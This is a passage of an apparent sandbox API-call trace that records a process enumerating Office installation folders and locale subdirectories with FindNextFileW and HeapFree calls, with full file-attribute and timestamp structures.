returned 1 [0075.858] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0076.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.038] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0076.041] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.041] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0076.043] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.043] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0076.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.044] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0076.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.044] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0076.045] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.045] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0076.046] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.046] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0076.046] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.046] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0076.047] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.047] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0076.048] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.048] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0076.049] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.049] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0076.049] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.049] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0076.050] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.050] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0076.050] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.051] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0076.051] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.051] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0076.052] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.052] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0076.053] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.053] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0076.054] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.054] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0076.065] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.065] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0076.067] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.067] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0076.068] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.068] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0076.068] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.068] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0076.069] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.069] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0076.070] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.070] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0076.070] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.070] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0076.071] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.071] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0076.072] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.072] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0076.073] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.073] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0076.074] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.074] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0076.074] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.074] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0076.075] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.075] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0076.174] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.180] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0076.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.186] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0076.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0076.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0076.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0076.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0076.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0076.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, 